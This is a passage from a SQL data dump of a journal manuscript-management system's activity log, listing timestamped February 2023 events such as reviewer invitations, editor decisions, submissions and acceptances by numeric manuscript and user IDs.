Reviewer',13457,'Publisher',1033),(124832,'2023-02-06 18:06:29','Publisher has Invited Reviewer',13456,'Publisher',1033),(124833,'2023-02-06 18:06:34','Publisher has Invited Reviewer',13456,'Publisher',1033),(124834,'2023-02-06 18:07:01','Publisher has Invited Reviewer',13455,'Publisher',1033),(124835,'2023-02-06 18:07:06','Publisher has Invited Reviewer',13455,'Publisher',1033),(124836,'2023-02-06 18:07:40','Publisher has Invited Reviewer',13454,'Publisher',1033),(124837,'2023-02-06 18:07:45','Publisher has Invited Reviewer',13454,'Publisher',1033),(124838,'2023-02-06 18:08:15','Manuscript Updated',13454,'Publisher',1033),(124839,'2023-02-06 18:08:38','Manuscript Updated',13455,'Publisher',1033),(124840,'2023-02-06 18:08:58','Publisher has been Accepted Articles  article',13455,'Publisher',1033),(124841,'2023-02-06 18:09:53','Publisher has been Accepted Articles  article',13454,'Publisher',1033),(124842,'2023-02-06 18:10:15','Publisher has been Accepted Articles  article',13456,'Publisher',1033),(124843,'2023-02-06 18:10:34','Publisher has been Accepted Articles  article',13457,'Publisher',1033),(124844,'2023-02-06 18:11:03','Publisher has been Accepted Articles  article',13458,'Publisher',1033),(124845,'2023-02-06 22:43:26','Author sent Email',13119,'Author',13318),(124846,'2023-02-07 10:10:19','Manuscript Submitted by Publisher',13483,'Publisher',673),(124847,'2023-02-07 10:41:02','Manuscript Submitted by Publisher',13489,'Publisher',673),(124848,'2023-02-07 10:44:42','Manuscript Updated',13476,'Publisher',994),(124849,'2023-02-07 10:45:16','Publisher has been Accepted Articles  article',13476,'Publisher',994),(124850,'2023-02-07 10:45:28','Manuscript Updated',13476,'Publisher',994),(124851,'2023-02-07 10:45:40','Manuscript Updated',13475,'Publisher',994),(124852,'2023-02-07 10:45:55','Publisher has been Accepted Articles  article',13475,'Publisher',994),(124853,'2023-02-07 10:46:04','Manuscript Updated',13475,'Publisher',994),(124854,'2023-02-07 10:46:28','Publisher has been Accepted Articles  article',13474,'Publisher',994),(124855,'2023-02-07 10:46:44','Publisher has been Accepted Articles  article',13473,'Publisher',994),(124856,'2023-02-07 10:46:45','Publisher has been Accepted Articles  article',13473,'Publisher',994),(124857,'2023-02-07 10:46:47','Publisher has been Accepted Articles  article',13473,'Publisher',994),(124858,'2023-02-07 10:46:57','Manuscript Updated',13472,'Publisher',994),(124859,'2023-02-07 10:47:12','Publisher has been Accepted Articles  article',13472,'Publisher',994),(124860,'2023-02-07 10:47:14','Publisher has been Accepted Articles  article',13472,'Publisher',994),(124861,'2023-02-07 10:47:15','Publisher has been Accepted Articles  article',13472,'Publisher',994),(124862,'2023-02-07 10:47:16','Publisher has been Accepted Articles  article',13472,'Publisher',994),(124863,'2023-02-07 10:47:18','Publisher has been Accepted Articles  article',13472,'Publisher',994),(124864,'2023-02-07 10:47:19','Publisher has been Accepted Articles  article',13472,'Publisher',994),(124865,'2023-02-07 10:47:20','Publisher has been Accepted Articles  article',13472,'Publisher',994),(124866,'2023-02-07 10:47:21','Publisher has been Accepted Articles  article',13472,'Publisher',994),(124867,'2023-02-07 10:47:23','Publisher has been Accepted Articles  article',13472,'Publisher',994),(124868,'2023-02-07 10:47:24','Publisher has been Accepted Articles  article',13472,'Publisher',994),(124869,'2023-02-07 10:47:25','Publisher has been Accepted Articles  article',13472,'Publisher',994),(124870,'2023-02-07 10:47:26','Publisher has been Accepted Articles  article',13472,'Publisher',994),(124871,'2023-02-07 10:47:27','Publisher has been Accepted Articles  article',13472,'Publisher',994),(124872,'2023-02-07 10:47:28','Publisher has been Accepted Articles  article',13472,'Publisher',994),(124873,'2023-02-07 10:47:30','Publisher has been Accepted Articles  article',13472,'Publisher',994),(124874,'2023-02-07 10:47:31','Publisher has been Accepted Articles  article',13472,'Publisher',994),(124875,'2023-02-07 10:47:32','Publisher has been Accepted Articles  article',13472,'Publisher',994),(124876,'2023-02-07 10:47:34','Publisher has been Accepted Articles  article',13472,'Publisher',994),(124877,'2023-02-07 10:47:35','Publisher has been Accepted Articles  article',13472,'Publisher',994),(124878,'2023-02-07 10:47:36','Publisher has been Accepted Articles  article',13472,'Publisher',994),(124879,'2023-02-07 10:47:37','Publisher has been Accepted Articles  article',13472,'Publisher',994),(124880,'2023-02-07 10:47:39','Publisher has been Accepted Articles  article',13472,'Publisher',994),(124881,'2023-02-07 10:47:40','Publisher has been Accepted Articles  article',13472,'Publisher',994),(124882,'2023-02-07 10:47:41','Publisher has been Accepted Articles  article',13472,'Publisher',994),(124883,'2023-02-07 10:47:42','Publisher has been Accepted Articles  article',13472,'Publisher',994),(124884,'2023-02-07 10:47:43','Publisher has been Accepted Articles  article',13472,'Publisher',994),(124885,'2023-02-07 10:47:44','Publisher has been Accepted Articles  article',13472,'Publisher',994),(124886,'2023-02-07 10:47:46','Publisher has been Accepted Articles  article',13472,'Publisher',994),(124887,'2023-02-07 10:47:47','Publisher has been Accepted Articles  article',13472,'Publisher',994),(124888,'2023-02-07 10:47:48','Publisher has been Accepted Articles  article',13472,'Publisher',994),(124889,'2023-02-07 10:47:49','Publisher has been Accepted Articles  article',13472,'Publisher',994),(124890,'2023-02-07 10:47:50','Publisher has been Accepted Articles  article',13472,'Publisher',994),(124891,'2023-02-07 10:47:55','Publisher has been Accepted Articles  article',13472,'Publisher',994),(124892,'2023-02-07 10:47:56','Publisher has been Accepted Articles  article',13472,'Publisher',994),(124893,'2023-02-07 10:47:58','Publisher has been Accepted Articles  article',13472,'Publisher',994),(124894,'2023-02-07 10:47:59','Publisher has been Accepted Articles  article',13472,'Publisher',994),(124895,'2023-02-07 11:00:53','Manuscript Submitted by Publisher',13490,'Publisher',673),(124896,'2023-02-07 11:10:26','Publisher has been Accepted Articles  article',2079,'',1498),(124897,'2023-02-07 11:12:19','Publisher has been Accepted Articles  article',4641,'',1491),(124898,'2023-02-07 11:37:52','Manuscript Submitted by Publisher',13491,'Publisher',673),(124899,'2023-02-07 14:36:43','Editor has Accepted to review Manuscript',13444,'Editor',1749),(124900,'2023-02-07 14:36:57','Editor has been Editor Decision Accepted article',13444,'Editor',1749),(124901,'2023-02-07 14:37:04','Editor has Accepted to review Manuscript',13427,'Editor',1749),(124902,'2023-02-07 14:37:13','Editor has been Editor Decision Accepted article',13427,'Editor',1749),(124903,'2023-02-07 14:37:18','Editor has Accepted to review Manuscript',13424,'Editor',1749),(124904,'2023-02-07 14:37:27','Editor has Accepted to review Manuscript',13423,'Editor',1749),(124905,'2023-02-07 14:37:40','Editor has been Editor Decision Accepted article',13424,'Editor',1749),(124906,'2023-02-07 14:37:51','Editor has been Editor Decision Accepted article',13423,'Editor',1749),(124907,'2023-02-07 14:39:13','Editor has Accepted to review Manuscript',13470,'Editor',1750),(124908,'2023-02-07 14:39:25','Editor has been Editor Decision Accepted article',13470,'Editor',1750),(124909,'2023-02-07 14:39:44','Editor has Accepted to review Manuscript',13114,'Editor',1750),(124910,'2023-02-07 14:39:51','Editor has Accepted to review Manuscript',13058,'Editor',1750),(124911,'2023-02-07 14:39:56','Editor has Accepted to review Manuscript',13035,'Editor',1750),(124912,'2023-02-07 14:40:01','Editor has Accepted to review Manuscript',12826,'Editor',1750),(124913,'2023-02-07 14:40:10','Editor has Accepted to review Manuscript',12503,'Editor',1750),(124914,'2023-02-07 14:40:29','Editor has Accepted to review Manuscript',12500,'Editor',1750),(124915,'2023-02-07 14:50:44','Manuscript Updated',13470,'Publisher',1009),(124916,'2023-02-07 14:51:27','Publisher has been Accepted Articles  article',13470,'Publisher',1009),(124917,'2023-02-07 14:51:40','Manuscript Updated',13470,'Publisher',1009),(124918,'2023-02-07 14:52:38','Manuscript Updated',13444,'Publisher',1009),(124919,'2023-02-07 14:53:01','Publisher has been Accepted Articles  article',13444,'Publisher',1009),(124920,'2023-02-07 14:53:28','Manuscript Updated',13444,'Publisher',1009),(124921,'2023-02-07 14:53:47','Manuscript Updated',13427,'Publisher',1009),(124922,'2023-02-07 14:54:10','Publisher has been Accepted Articles  article',13427,'Publisher',1009),(124923,'2023-02-07 14:54:20','Manuscript Updated',13427,'Publisher',1009),(124924,'2023-02-07 14:54:37','Manuscript Updated',13424,'Publisher',1009),(124925,'2023-02-07 14:54:54','Publisher has been Accepted Articles  article',13424,'Publisher',1009),(124926,'2023-02-07 14:55:06','Manuscript Updated',13424,'Publisher',1009),(124927,'2023-02-07 14:55:17','Manuscript Updated',13423,'Publisher',1009),(124928,'2023-02-07 14:55:45','Publisher has been Accepted Articles  article',13423,'Publisher',1009),(124929,'2023-02-07 14:55:55','Manuscript Updated',13423,'Publisher',1009),(124930,'2023-02-07 15:04:40','Editor has been Editor Decision Accepted article',13442,'Editor',1708),(124931,'2023-02-08 02:03:17','Author sent Email',13119,'Author',13318),(124932,'2023-02-08 10:31:09','Publisher has been Assigned Editor',13482,'Publisher',248),(124933,'2023-02-08 10:32:21','Publisher has Invited Reviewer',13482,'Publisher',248),(124934,'2023-02-08 10:32:26','Publisher has Invited Reviewer',13482,'Publisher',248),(124935,'2023-02-08 10:32:31','Publisher has Invited Reviewer',13482,'Publisher',248),(124936,'2023-02-08 10:32:37','Publisher has Invited Reviewer',13482,'Publisher',248),(124937,'2023-02-08 10:32:42','Publisher has Invited Reviewer',13482,'Publisher',248),(124938,'2023-02-08 10:32:47','Publisher has Invited Reviewer',13482,'Publisher',248),(124939,'2023-02-08 10:37:55','Publisher has been Assigned Editor',13477,'Publisher',48),(124940,'2023-02-08 10:43:03','Editor has Accepted to review Manuscript',13468,'Editor',222),(124941,'2023-02-08 10:43:19','Editor has been Editor Decision Accepted article',13468,'Editor',222),(124942,'2023-02-08 10:43:24','Editor has Accepted to review Manuscript',13465,'Editor',222),(124943,'2023-02-08 10:43:34','Editor has been Editor Decision Accepted article',13465,'Editor',222),(124944,'2023-02-08 10:43:42','Editor has Accepted to review Manuscript',13464,'Editor',222),(124945,'2023-02-08 10:43:53','Editor has been Editor Decision Accepted article',13464,'Editor',222),(124946,'2023-02-08 10:44:32','Editor has Accepted to review Manuscript',13467,'Editor',221),(124947,'2023-02-08 10:44:48','Editor has been Editor Decision Accepted article',13467,'Editor',221),(124948,'2023-02-08 10:44:54','Editor has Accepted to review Manuscript',13466,'Editor',221),(124949,'2023-02-08 10:45:07','Editor has been Editor Decision Accepted article',13466,'Editor',221),(124950,'2023-02-08 10:47:27','Publisher has been Accepted Articles  article',13464,'Publisher',84),(124951,'2023-02-08 10:47:49','Manuscript Updated',13465,'Publisher',84),(124952,'2023-02-08 10:48:32','Publisher has been Accepted Articles  article',13465,'Publisher',84),(124953,'2023-02-08 10:48:55','Manuscript Updated',13466,'Publisher',84),(124954,'2023-02-08 10:49:15','Publisher has been Accepted Articles  article',13466,'Publisher',84),(124955,'2023-02-08 10:49:52','Manuscript Updated',13467,'Publisher',84),(124956,'2023-02-08 10:50:10','Publisher has been Accepted Articles  article',13467,'Publisher',84),(124957,'2023-02-08 10:50:35','Manuscript Updated',13468,'Publisher',84),(124958,'2023-02-08 10:50:52','Publisher has been Accepted Articles  article',13468,'Publisher',84),(124959,'2023-02-08 10:50:54','Publisher has been Accepted Articles  article',13468,'Publisher',84),(124960,'2023-02-08 10:51:00','Publisher has been Accepted Articles  article',13468,'Publisher',84),(124961,'2023-02-08 12:07:24','Manuscript Submitted by Publisher',13492,'Publisher',645),(124962,'2023-02-08 12:09:03','Manuscript Submitted by Publisher',13493,'Publisher',645),(124963,'2023-02-08 12:10:39','Manuscript Submitted by Publisher',13494,'Publisher',645),(124964,'2023-02-08 12:13:16','Manuscript Submitted by Publisher',13495,'Publisher',645),(124965,'2023-02-08 12:13:21','Reviewer has submitted comments',13213,'Reviewer',8795),(124966,'2023-02-08 12:13:46','Editor has Accepted to review Manuscript',13213,'Editor',190),(124967,'2023-02-08 12:13:57','Editor has been Editor Decision Accepted article',13213,'Editor',190),(124968,'2023-02-08 12:14:51','Publisher: Accept Notification has been sent to Author',13213,'Publisher',48),(124969,'2023-02-08 12:15:12','Publisher has been Accepted Articles  article',13213,'Publisher',48),(124970,'2023-02-08 13:15:30','Publisher has been Assigned Editor',13481,'Publisher',248),(124971,'2023-02-08 13:16:36','Publisher has been Assigned Editor',13480,'Publisher',248),(124972,'2023-02-08 13:16:50','Publisher has been Assigned Editor',13478,'Publisher',248),(124973,'2023-02-08 14:43:35','Publisher has been Assigned Editor',13491,'Publisher',673),(124974,'2023-02-08 14:44:05','Publisher has been Assigned Editor',13490,'Publisher',673),(124975,'2023-02-08 14:44:19','Publisher has been Assigned Editor',13489,'Publisher',673),(124976,'2023-02-08 14:47:35','Publisher has been Assigned Editor',13483,'Publisher',673),(124977,'2023-02-08 16:53:27','Manuscript Updated',13461,'Publisher',972),(124978,'2023-02-08 16:54:18','Publisher has been Accepted Articles  article',13461,'Publisher',972),(124979,'2023-02-08 16:54:29','Manuscript Updated',13461,'Publisher',972),(124980,'2023-02-08 16:54:55','Manuscript Updated',13459,'Publisher',972),(124981,'2023-02-08 16:55:21','Publisher has been Accepted Articles  article',13459,'Publisher',972),(124982,'2023-02-08 16:55:31','Manuscript Updated',13459,'Publisher',972),(124983,'2023-02-08 16:55:59','Manuscript Updated',13453,'Publisher',972),(124984,'2023-02-08 16:56:19','Publisher has been Accepted Articles  article',13453,'Publisher',972),(124985,'2023-02-08 16:56:20','Publisher has been Accepted Articles  article',13453,'Publisher',972),(124986,'2023-02-08 16:56:56','Manuscript Updated',13453,'Publisher',972),(124987,'2023-02-08 16:57:20','Manuscript Updated',13452,'Publisher',972),(124988,'2023-02-08 16:57:47','Publisher has been Accepted Articles  article',13452,'Publisher',972),(124989,'2023-02-08 16:58:06','Manuscript Updated',13452,'Publisher',972),(124990,'2023-02-08 17:16:28','Manuscript Submitted by Publisher',13496,'',1212),(124991,'2023-02-09 09:24:49','Publisher has been Assigned Editor',13479,'Publisher',248),(124992,'2023-02-09 09:25:15','Publisher has Invited Reviewer',13482,'Publisher',248),(124993,'2023-02-09 09:25:20','Publisher has Invited Reviewer',13482,'Publisher',248),(124994,'2023-02-09 09:25:24','Publisher has Invited Reviewer',13482,'Publisher',248),(124995,'2023-02-09 09:25:29','Publisher has Invited Reviewer',13482,'Publisher',248),(124996,'2023-02-09 10:05:55','Publisher has been Assigned Editor',13495,'Publisher',645),(124997,'2023-02-09 10:07:01','Publisher has been Assigned Editor',13494,'Publisher',645),(124998,'2023-02-09 10:07:36','Publisher has been Assigned Editor',13493,'Publisher',645),(124999,'2023-02-09 10:08:53','Publisher has been Assigned Editor',13492,'Publisher',645),(125000,'2023-02-09 10:11:25','Publisher has been Accepted Articles  article',13471,'Publisher',274),(125001,'2023-02-09 10:12:51','Editor has Accepted to review Manuscript',13471,'Editor',1666),(125002,'2023-02-09 10:13:07','Editor has been Editor Decision Accepted article',13471,'Editor',1666),(125003,'2023-02-09 10:13:44','Publisher has been Accepted Articles  article',13471,'Publisher',274),(125004,'2023-02-09 10:14:38','Editor has Accepted to review Manuscript',13441,'Editor',1789),(125005,'2023-02-09 10:15:07','Editor has been Editor Decision Accepted article',13441,'Editor',1789),(125006,'2023-02-09 10:15:57','Editor has Accepted to review Manuscript',13440,'Editor',1669),(125007,'2023-02-09 10:16:11','Editor has been Editor Decision Accepted article',13440,'Editor',1669),(125008,'2023-02-09 10:16:53','Editor has Accepted to review Manuscript',13416,'Editor',1668),(125009,'2023-02-09 10:16:57','Editor has Accepted to review Manuscript',13439,'Editor',1668),(125010,'2023-02-09 10:17:09','Editor has been Editor Decision Accepted article',13439,'Editor',1668),(125011,'2023-02-09 10:17:19','Editor has been Editor Decision Accepted article',13416,'Editor',1668),(125012,'2023-02-09 10:34:35','Publisher has been Accepted Articles  article',13416,'Publisher',274),(125013,'2023-02-09 11:55:21','Publisher has Invited Reviewer',13462,'Publisher',984),(125014,'2023-02-09 11:55:26','Publisher has Invited Reviewer',13462,'Publisher',984),(125015,'2023-02-09 11:55:31','Publisher has Invited Reviewer',13462,'Publisher',984),(125016,'2023-02-09 11:55:36','Publisher has been Assigned Editor',13182,'',1279),(125017,'2023-02-09 11:55:37','Publisher has Invited Reviewer',13462,'Publisher',984),(125018,'2023-02-09 11:55:42','Publisher has Invited Reviewer',13462,'Publisher',984),(125019,'2023-02-09 11:55:48','Publisher has Invited Reviewer',13462,'Publisher',984),(125020,'2023-02-09 11:55:49','Publisher has been Assigned Editor',13171,'',1279),(125021,'2023-02-09 11:55:53','Publisher has Invited Reviewer',13462,'Publisher',984),(125022,'2023-02-09 11:55:58','Publisher has Invited Reviewer',13462,'Publisher',984),(125023,'2023-02-09 11:56:03','Publisher has Invited Reviewer',13462,'Publisher',984),(125024,'2023-02-09 11:56:09','Publisher has Invited Reviewer',13462,'Publisher',984),(125025,'2023-02-09 11:56:13','Publisher has Invited Reviewer',13462,'Publisher',984),(125026,'2023-02-09 11:56:18','Publisher has Invited Reviewer',13462,'Publisher',984),(125027,'2023-02-09 11:56:24','Publisher has Invited Reviewer',13462,'Publisher',984),(125028,'2023-02-09 11:56:29','Publisher has Invited Reviewer',13462,'Publisher',984),(125029,'2023-02-09 11:57:53','Publisher has been Accepted Articles  article',13182,'',1279),(125030,'2023-02-09 11:58:22','Publisher has been Accepted Articles  article',13171,'',1279),(125031,'2023-02-09 12:19:26','Publisher has Invited Reviewer',13481,'Publisher',248),(125032,'2023-02-09 12:19:32','Publisher has Invited Reviewer',13481,'Publisher',248),(125033,'2023-02-09 12:19:37','Publisher has Invited Reviewer',13481,'Publisher',248),(125034,'2023-02-09 12:19:43','Publisher has Invited Reviewer',13481,'Publisher',248),(125035,'2023-02-09 12:19:48','Publisher has Invited Reviewer',13481,'Publisher',248),(125036,'2023-02-09 12:20:10','Publisher has Invited Reviewer',13481,'Publisher',248),(125037,'2023-02-09 12:20:35','Publisher has Invited Reviewer',13480,'Publisher',248),(125038,'2023-02-09 12:20:40','Publisher has Invited Reviewer',13480,'Publisher',248),(125039,'2023-02-09 12:20:45','Publisher has Invited Reviewer',13480,'Publisher',248),(125040,'2023-02-09 12:20:50','Publisher has Invited Reviewer',13480,'Publisher',248),(125041,'2023-02-09 12:21:59','Publisher has Invited Reviewer',13479,'Publisher',248),(125042,'2023-02-09 12:22:04','Publisher has Invited Reviewer',13479,'Publisher',248),(125043,'2023-02-09 12:22:09','Publisher has Invited Reviewer',13479,'Publisher',248),(125044,'2023-02-09 12:22:14','Publisher has Invited Reviewer',13479,'Publisher',248),(125045,'2023-02-09 12:26:55','Reviewer has submitted comments',13462,'Reviewer',10978),(125046,'2023-02-09 13:16:20','Manuscript Submitted by Author using Submission form',13497,'Author',13670),(125047,'2023-02-09 13:42:11','Publisher has been Accepted Articles  article',13482,'Publisher',248),(125048,'2023-02-09 13:50:03','Manuscript Submitted by Author using Submission form',13498,'Author',13671),(125049,'2023-02-09 14:01:46','Publisher has been Accepted Articles  article',13481,'Publisher',248),(125050,'2023-02-09 14:52:18','Publisher has been Accepted Articles  article',13480,'Publisher',248),(125051,'2023-02-09 15:30:19','Manuscript Updated',13479,'Publisher',248),(125052,'2023-02-09 15:30:33','Publisher has been Accepted Articles  article',13479,'Publisher',248),(125053,'2023-02-09 15:31:01','Publisher has Invited Reviewer',13478,'Publisher',248),(125054,'2023-02-09 15:31:06','Publisher has Invited Reviewer',13478,'Publisher',248),(125055,'2023-02-09 15:31:11','Publisher has Invited Reviewer',13478,'Publisher',248),(125056,'2023-02-09 15:45:49','Manuscript Updated',13478,'Publisher',248),(125057,'2023-02-09 15:46:03','Publisher has been Accepted Articles  article',13478,'Publisher',248),(125058,'2023-02-10 09:39:25','Publisher has Invited Reviewer',13491,'Publisher',673),(125059,'2023-02-10 09:39:28','Reviewer has submitted comments',13395,'Reviewer',11845),(125060,'2023-02-10 09:39:29','Publisher has Invited Reviewer',13491,'Publisher',673),(125061,'2023-02-10 09:39:34','Publisher has Invited Reviewer',13491,'Publisher',673),(125062,'2023-02-10 09:39:39','Publisher has Invited Reviewer',13491,'Publisher',673),(125063,'2023-02-10 09:39:44','Publisher has Invited Reviewer',13491,'Publisher',673),(125064,'2023-02-10 09:40:27','Publisher has Invited Reviewer',13490,'Publisher',673),(125065,'2023-02-10 09:40:32','Publisher has Invited Reviewer',13490,'Publisher',673),(125066,'2023-02-10 09:40:37','Publisher has Invited Reviewer',13490,'Publisher',673),(125067,'2023-02-10 09:40:41','Publisher has Invited Reviewer',13490,'Publisher',673),(125068,'2023-02-10 09:40:46','Publisher has Invited Reviewer',13490,'Publisher',673),(125069,'2023-02-10 09:40:51','Publisher has Invited Reviewer',13490,'Publisher',673),(125070,'2023-02-10 09:41:35','Publisher has Invited Reviewer',13489,'Publisher',673),(125071,'2023-02-10 09:41:35','Editor has Accepted to review Manuscript',13395,'Editor',194),(125072,'2023-02-10 09:41:40','Publisher has Invited Reviewer',13489,'Publisher',673),(125073,'2023-02-10 09:41:45','Publisher has Invited Reviewer',13489,'Publisher',673),(125074,'2023-02-10 09:41:50','Editor has been Editor Decision Accepted article',13395,'Editor',194),(125075,'2023-02-10 09:41:50','Publisher has Invited Reviewer',13489,'Publisher',673),(125076,'2023-02-10 09:41:55','Publisher has Invited Reviewer',13489,'Publisher',673),(125077,'2023-02-10 09:42:42','Publisher: Accept Notification has been sent to Author',13395,'Publisher',48),(125078,'2023-02-10 09:42:46','Publisher has Invited Reviewer',13483,'Publisher',673),(125079,'2023-02-10 09:42:51','Publisher has Invited Reviewer',13483,'Publisher',673),(125080,'2023-02-10 09:42:56','Publisher has Invited Reviewer',13483,'Publisher',673),(125081,'2023-02-10 09:43:01','Publisher has Invited Reviewer',13483,'Publisher',673),(125082,'2023-02-10 09:43:06','Publisher has Invited Reviewer',13483,'Publisher',673),(125083,'2023-02-10 09:43:06','Publisher has been Accepted Articles  article',13395,'Publisher',48),(125084,'2023-02-10 09:44:47','Reviewer has submitted comments',13460,'Reviewer',15660),(125085,'2023-02-10 09:46:40','Reviewer has submitted comments',13491,'Reviewer',15398),(125086,'2023-02-10 09:48:07','Reviewer has submitted comments',13490,'Reviewer',15183),(125087,'2023-02-10 09:49:39','Reviewer has submitted comments',13489,'Reviewer',14765),(125088,'2023-02-10 09:51:16','Reviewer has submitted comments',13483,'Reviewer',16377),(125089,'2023-02-10 09:52:30','Manuscript Updated',13460,'Publisher',673),(125090,'2023-02-10 09:52:57','Publisher has been Accepted Articles  article',13460,'Publisher',673),(125091,'2023-02-10 09:53:07','Manuscript Updated',13483,'Publisher',673),(125092,'2023-02-10 09:53:20','Manuscript Updated',13489,'Publisher',673),(125093,'2023-02-10 09:53:28','Manuscript Updated',13490,'Publisher',673),(125094,'2023-02-10 09:53:38','Manuscript Updated',13491,'Publisher',673),(125095,'2023-02-10 09:53:56','Publisher has been Accepted Articles  article',13483,'Publisher',673),(125096,'2023-02-10 09:54:09','Publisher has been Accepted Articles  article',13489,'Publisher',673),(125097,'2023-02-10 09:54:20','Publisher has been Accepted Articles  article',13490,'Publisher',673),(125098,'2023-02-10 09:54:37','Publisher has been Accepted Articles  article',13491,'Publisher',673),(125099,'2023-02-10 12:22:23','Publisher has been Assigned Editor',13496,'',1212),(125100,'2023-02-13 10:14:27','Manuscript Submitted by Publisher',13499,'Publisher',48),(125101,'2023-02-15 10:40:20','Reviewer has submitted comments',13438,'Reviewer',21555),(125102,'2023-02-15 10:41:00','Editor has Accepted to review Manuscript',13438,'Editor',188),(125103,'2023-02-15 10:41:21','Editor has been Editor Decision Accepted article',13438,'Editor',188),(125104,'2023-02-15 10:41:55','Publisher has been Accepted Articles  article',13438,'Publisher',48),(125105,'2023-02-15 14:35:46','Reviewer has submitted comments',13451,'Reviewer',21564),(125106,'2023-02-15 14:36:16','Editor has Accepted to review Manuscript',13451,'Editor',194),(125107,'2023-02-15 14:36:27','Editor has been Editor Decision Accepted article',13451,'Editor',194),(125108,'2023-02-15 14:38:35','Publisher has been Accepted Articles  article',13451,'Publisher',48),(125109,'2023-02-15 15:00:17','Reviewer has updated comments',13439,'Reviewer',17682),(125110,'2023-02-15 15:03:12','Publisher has been Accepted Articles  article',13441,'Publisher',274),(125111,'2023-02-15 15:03:30','Publisher has been Accepted Articles  article',13440,'Publisher',274),(125112,'2023-02-15 15:03:47','Publisher has been Accepted Articles  article',13439,'Publisher',274),(125113,'2023-02-15 15:46:50','Editor has Accepted to review Manuscript',13469,'Editor',162),(125114,'2023-02-15 15:46:57','Editor has been Editor Decision Accepted article',13469,'Editor',162),(125115,'2023-02-15 15:46:57','Editor has been Editor Decision Accepted article',13469,'Editor',162),(125116,'2023-02-15 15:48:16','Publisher has been Accepted Articles  article',13469,'Publisher',75),(125117,'2023-02-15 15:48:19','Publisher has been Accepted Articles  article',13469,'Publisher',75),(125118,'2023-02-15 23:46:53','Manuscript Submitted by Author using Submission form',13500,'Author',13673),(125119,'2023-02-16 03:10:41','Reviewer has submitted comments',13469,'Reviewer',21378),(125120,'2023-02-16 15:22:36','Manuscript Submitted by Publisher',13501,'Publisher',48),(125121,'2023-02-16 15:47:25','Manuscript Submitted by Publisher',13502,'Publisher',48),(125122,'2023-02-17 11:39:52','Publisher has been Assigned Editor',13500,'Publisher',376),(125123,'2023-02-17 13:11:25','Publisher has Invited Reviewer',13500,'Publisher',376),(125124,'2023-02-17 13:11:30','Publisher has Invited Reviewer',13500,'Publisher',376),(125125,'2023-02-17 13:11:35','Publisher has Invited Reviewer',13500,'Publisher',376),(125126,'2023-02-17 13:11:40','Publisher has Invited Reviewer',13500,'Publisher',376),(125127,'2023-02-17 14:17:24','Editor has Accepted to review Manuscript',13500,'Editor',1705),(125128,'2023-02-17 14:17:41','Editor has been Editor Decision Accepted article',13500,'Editor',1705),(125129,'2023-02-17 15:05:20','Editor has Accepted to review Manuscript',13495,'Editor',633),(125130,'2023-02-17 15:05:31','Editor has been Editor Decision Accepted article',13495,'Editor',633),(125131,'2023-02-17 15:05:37','Editor has Accepted to review Manuscript',13493,'Editor',633),(125132,'2023-02-17 15:05:50','Editor has been Editor Decision Accepted article',13493,'Editor',633),(125133,'2023-02-17 15:06:33','Editor has Accepted to review Manuscript',13494,'Editor',634),(125134,'2023-02-17 15:06:45','Editor has been Editor Decision Accepted article',13494,'Editor',634),(125135,'2023-02-17 15:06:52','Editor has Accepted to review Manuscript',13492,'Editor',634),(125136,'2023-02-17 15:07:02','Editor has been Editor Decision Accepted article',13492,'Editor',634),(125137,'2023-02-20 10:35:30','Reviewer has submitted comments',13500,'Reviewer',7212),(125138,'2023-02-20 10:37:16','Reviewer has submitted comments',13500,'Reviewer',9155),(125139,'2023-02-20 10:40:31','Reviewer has submitted comments',13500,'Reviewer',9159),(125140,'2023-02-20 10:41:43','Reviewer has submitted comments',13500,'Reviewer',7213),(125141,'2023-02-20 10:42:37','Publisher: Accept Notification has been sent to Author',13500,'Publisher',376),(125142,'2023-02-20 14:04:56','Publisher: Accept Notification has been sent to Author',13469,'Publisher',75),(125143,'2023-02-20 14:55:37','Publisher has been Assigned Editor',13498,'Publisher',984),(125144,'2023-02-20 14:55:51','Publisher has been Assigned Editor',13497,'Publisher',984),(125145,'2023-02-20 16:38:27','Manuscript Updated',13495,'Publisher',645),(125146,'2023-02-20 16:38:55','Publisher has been Accepted Articles  article',13495,'Publisher',645),(125147,'2023-02-20 16:39:08','Manuscript Updated',13495,'Publisher',645),(125148,'2023-02-20 16:39:18','Manuscript Updated',13494,'Publisher',645),(125149,'2023-02-20 16:39:34','Publisher has been Accepted Articles  article',13494,'Publisher',645),(125150,'2023-02-20 16:39:44','Manuscript Updated',13494,'Publisher',645),(125151,'2023-02-20 16:40:01','Manuscript Updated',13493,'Publisher',645),(125152,'2023-02-20 16:40:26','Publisher has been Accepted Articles  article',13493,'Publisher',645),(125153,'2023-02-20 16:40:38','Manuscript Updated',13493,'Publisher',645),(125154,'2023-02-20 16:41:02','Manuscript Updated',13492,'Publisher',645),(125155,'2023-02-20 16:41:21','Publisher has been Accepted Articles  article',13492,'Publisher',645),(125156,'2023-02-20 16:41:36','Manuscript Updated',13492,'Publisher',645),(125157,'2023-02-20 16:41:49','Manuscript Updated',13442,'Publisher',645),(125158,'2023-02-20 16:42:08','Publisher has been Accepted Articles  article',13442,'Publisher',645),(125159,'2023-02-20 16:42:19','Manuscript Updated',13442,'Publisher',645),(125160,'2023-02-21 13:17:32','Publisher has been Accepted Articles  article',13488,'Publisher',319),(125161,'2023-02-21 13:17:47','Publisher has been Accepted Articles  article',13487,'Publisher',319),(125162,'2023-02-21 13:18:00','Publisher has been Accepted Articles  article',13486,'Publisher',319),(125163,'2023-02-21 13:18:18','Publisher has been Accepted Articles  article',13485,'Publisher',319),(125164,'2023-02-21 13:18:44','Publisher has been Accepted Articles  article',13484,'Publisher',319),(125165,'2023-02-21 13:35:02','Publisher has been Assigned Editor',13501,'Publisher',48),(125166,'2023-02-21 13:35:15','Publisher has been Assigned Editor',13502,'Publisher',48),(125167,'2023-02-21 14:17:53','Publisher has been Assigned Editor',0,'Publisher',376),(125168,'2023-02-21 14:33:57','Publisher has been Assigned Editor',0,'Publisher',376),(125169,'2023-02-21 14:39:33','Manuscript Submitted by Publisher',13506,'Publisher',376),(125170,'2023-02-21 17:39:31','Manuscript Submitted by Publisher',13507,'Publisher',248),(125171,'2023-02-21 20:17:01','Author sent Email',13438,'Author',13619),(125172,'2023-02-22 12:04:39','Publisher has been Assigned Editor',13505,'Publisher',85),(125173,'2023-02-22 12:05:45','Publisher has been Assigned Editor',13504,'Publisher',85),(125174,'2023-02-22 12:06:16','Publisher has been Assigned Editor',13503,'Publisher',85),(125175,'2023-02-22 12:07:22','Editor has Accepted to review Manuscript',13503,'Editor',1675),(125176,'2023-02-22 12:07:33','Editor has been Editor Decision Accepted article',13503,'Editor',1675),(125177,'2023-02-22 12:07:49','Editor has Accepted to review 